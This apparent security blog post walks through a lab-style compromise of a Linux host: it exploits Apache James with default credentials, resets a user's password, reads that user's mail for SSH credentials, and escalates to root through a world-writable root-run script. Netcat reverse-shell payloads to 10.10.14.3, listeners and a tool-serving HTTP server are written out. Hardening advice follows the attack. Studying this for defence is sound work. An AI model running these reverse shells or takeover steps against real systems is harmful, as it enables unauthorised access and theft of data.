Securing and Hardening Linux and Unix Endpoints Against Cyberattack: Part IV
How Secure are your Linux Endpoints? An Ethical Hacker’s Guide to Securing and Hardening Linux and Unix Endpoints
Welcome to the next post in our series on hardening and protecting endpoints. In Part I, Hardening Endpoints Against Cyberattack, we covered these important steps to an ethical hack in the preparation and Open Source Intelligence gathering stages:
- Step 0: Pre-Engagement
- Step 1: Passive Recon and OSINT
- Step 2: Active Recon on Windows Endpoints
In the previous post, I shifted focus to Linux and Unix endpoints and covered the Active Recon stage again as results will differ when creating your attack path.
These are the steps to an ethical hack of Linux and Unix endpoints:
Step 1 was covered in Part I of the series
Step 2: Active Recon on Unix and Linux Endpoints
Step 3: Linux Service Enumeration
In today’s post, I will cover the final step:
Step 4: Access Exploitation and the Initial Foothold
Step 4: Access Exploitation and the Initial Foothold – Opening the Door
As I mentioned in Part III, there are many possible attack paths for gaining a foothold after active reconnaissance, but for this purpose, I’ll stick to one of the most popular methods: exploiting applications and misconfigurations.
Introducing users and applications. This is where security usually weakens, but what is the operating system without users and applications? It’s like a car without wheels. Or a driver.
When you introduce applications to your operating system, each comes with a variety of different risks. It’s important to turn on only what you need. Many applications owners install the default with everything checked, thereby enabling features they don’t need—and the bugs that come with them.
In virtually all exploits against operating systems and applications, unauthorized access almost always comes down to one of these reasons:
- Legacy OS with existing known exploits
- Unpatched System with existing known exploits
- Weak Credentials – OS and Applications
- Default Credentials – OS and Applications
- Misconfigured System
- Unpatched Application with existing known exploits
- Misconfigured Application
- Security not enabled
For Web applications, I use the following common techniques from OWASP.
For full details on the TOP 10 Web Application Security Risks check the OWASP Top Ten:
- Broken Authentication
- Sensitive Data Exposure
- XML External Entities
- Broken Access Control
- Security Misconfigurations
- Cross-Site Scripting (XSS)
- Insecure Deserialization
- Using Components with Known Vulnerabilities
- Insufficient Logging and Monitoring
Also, check out the 2020 CWE Top 25 Most Dangerous Software Weaknesses from MITRE.
Now that I’ve completed enough enumeration, I can see the best attack path is to target the Apache James Server using the exploit found via SearchSploit 35513.py. I’ll target the unpatched System with a known exploit.
The exploit requires a payload and I have modified the default payload to create a reverse shell back to my attack system.
payload = ‘nc -e /bin/bash 10.10.14.3 9001’
This payload uses netcat to launch a reverse shell to an IP address and port 9001.
It appears to use credentials root/root, creates a user, and the payload will execute once an authenticated user logs on. Let’s trigger this exploit using the python script and the target Linux endpoint.
Now we can telnet into the James Remote Administration on port 4555 which was identified earlier during the scan using the same credentials.
The next stage is to show commands, list users, and attempt to change a user’s password. As shown below, I was successful.
Now that we’ve changed a user’s password, we can try to log on to the POP3 email server and read emails, a common place to find all kinds of sensitive information including bank accounts details, password resets, new passwords, and company data.
After reading through emails for further enumeration, it’s likely I’ll discover poor password hygiene. Sending passwords via email is all too common and can result in an attacker further compromising accounts and elevating privileges. Sometimes users even store them in clear text files on the desktop or text files. I cannot stress how often this occurs.
Now we’ve gained ssh credentials and can log on and trigger our previous payload for the reverse shell. First, we must set up a reverse shell on our attack machine, again using netcat for the listener on port 9001.
nc -lnvp 9001
Once our listener is set up, we can log on using the compromised ssh credential discovered within the email.
This triggers the payload and gains an unrestricted reverse shell to the victim machine.
Now we have our initial foothold and can move to the next stage: Privilege Escalation. In many cases, the initial foothold serves as a staging server for the attacker to escalate privileges even further and move laterally around the environment.
Linux Endpoint Initial ACCESS HARDENING – Better Locks on the Doors
TIP #1: Patch and Update your Linux endpoints and applications regularly. Remove unused software and get rid of your legacy operating systems and applications. If you cannot get rid of legacy systems, then put a strong lock around them via network access, as well as privileged access controls to limit access to them.
TIP #2: Again please, NO WEAK PASSWORDS, and DO NOT use email for sharing passwords. Get your employees into the habit of using a password manager, and for business use, a Privileged Access Management solution so you eliminate those default credentials.
TIP #3: Practice the Principle of Least Privilege. Ensure that your users are not overprivileged, and only have sufficient permissions to run the tasks intended.
Step 5: Privilege Escalation – Getting the Keys to the Kingdom
Yes, all attackers want them. That is, your privileged accounts. And with Linux, that means the root is the top target as it gives them the ability to move freely around your network and carry out malicious activities. They can come and go as they wish while staying hidden behind legitimate-looking services and credentials.
Once initial access and a foothold on your Linux endpoints have been established, the next step is the repeat the enumeration, though this time as an internal user on a Linux endpoint. Below are some of the tools used to gather enumeration for possible privilege escalations or network lateral moves:
Privilege Escalation Tool Examples
First, I set up an HTTP server on my attack machines and use wget or similar to move the enumeration privilege escalation tools to the victim. The primary techniques for gaining privileges on Linux are either via kernel exploits, permissions, or access misconfigurations. I focus on these for doing privilege escalation and looking for all possibilities.
sudo python -m http.server 80
LinEnum is an awesome bash script that does Local Linux Enumeration & Privilege Escalation Checks.
Linux Smart Enumeration
Linux Smart Enumeration, known as lse.sh, is another great privilege enumeration automation script and has several levels of debugging.
Linux Exploit Suggester 2
Linux Exploit Suggester 2 is a key tool for finding suggested exploits on Linux endpoints.
Unfortunately, for this example, it does not find any, but it is common to discover several.
When running LinEnum above, it discovered a world-writable python file called tm.py that is owned by root and writable by everyone. Attackers seek to discover this popular misconfiguration. It might allow the attacker to modify and execute as root.
First, we check the contents of the python script and see that it’s simply removing all files from the tmp directory. Creating a file in the tmp will show that once the script is executed the file will be deleted. We can simply modify this script to create another reverse shell that will be executed as the root user.
We modify the python script tmp.py by adding a reserve shell command
nc -e /bin/bash 10.10.14.3 9002
Again, this will run netcat and execute /bin/bash to the IP address and port 9002.
We then create another listener on our attack system and wait. Moments later we get our reverse shell connection with the id of the root. We now fully own this system.
These are just a few of the automated tools used for discovering and finding potential security risks and misconfigurations on Linux endpoints. Be sure to try and discover your own weaknesses and risks on your endpoints by looking for the same privilege escalation methods.
Linux endpoints come with different types of users, groups, and access controls.
The majority of these automated tools and scripts are simply looking for the following Linux misconfigurations or weaknesses. Discover them first and lock them down with the right security controls.
Here are some of the common Linux misconfigurations attackers will try to take advantage of:
- Passwords stored in files and system configurations
- SSH keys
- Services running as root
- Scheduled cron jobs—used to elevate privileges or create persistence
- SUID (Set User ID)—can be abused to elevate privileges
- SUDO misconfigurations
- GTFOBins—shell-escape keys that can be exploited by attackers
- Writable files and file permissions misconfigurations
- Kernel exploits
Attackers will exhaust all these methods in an effort to gain privilege escalation, and as defenders, we must discover them all and harden our Linux endpoints to protect and defend against these exploits and risks.
Tips to reduce your risk from these attacks:
PRIVILEGE HARDENING – Throw the Universal Keys Away, Move to On-demand Privileges
TIP #1: Use Application Control on all endpoints to control which applications can execute and which require additional auditing and visibility. While applications can be used for legitimate purposes, they are also used by attackers, so ensure authorized execution only. Application control can also help prevent the enumeration scripts from running, such as LinEnum or lse.
TIP #2: Patch and Update your Linux endpoints and applications regularly. Remove unused software and get rid of your legacy operating systems and applications. If you cannot get rid of legacy systems, then put a strong lock around them via network access, as well as privileged access controls to limit access to them.
REMEMBER: Patching systems will not make you 100% secure; it’s only reducing one high risk from being abused easily.
TIP #3: Use a Privileged Access Security solution to ensure that all service accounts have a provisioned, secure service account with the correct security controls in place. Use complex passwords that are rotated frequently, and never default passwords.
TIP #4: RESTRICT ROOT account usage and rotate passwords after every use.
TIP #5: Log and audit as much privileged activity as possible, and monitor for abuse.
SUMMARY – Securing and Hardening Linux and Unix Endpoints is just ONE STEP IN REDUCING RISKS
There is no such thing as 100% security, and no single solution will prevent all cyberattacks. So we must find the right balance between usable security and productivity. At the end of the day, it’s the users, applications, and data that make the business, whether it’s a product or service. Our job in cybersecurity is to reduce the risks to the business, and our goal is user digital safety. We use our cybersecurity experience, technology, and processes to help achieve that goal. Securing and hardening Linux and Unix endpoints to make access more difficult for attackers is just one of the steps we must take.
I hope this post has helped you better secure all your endpoints.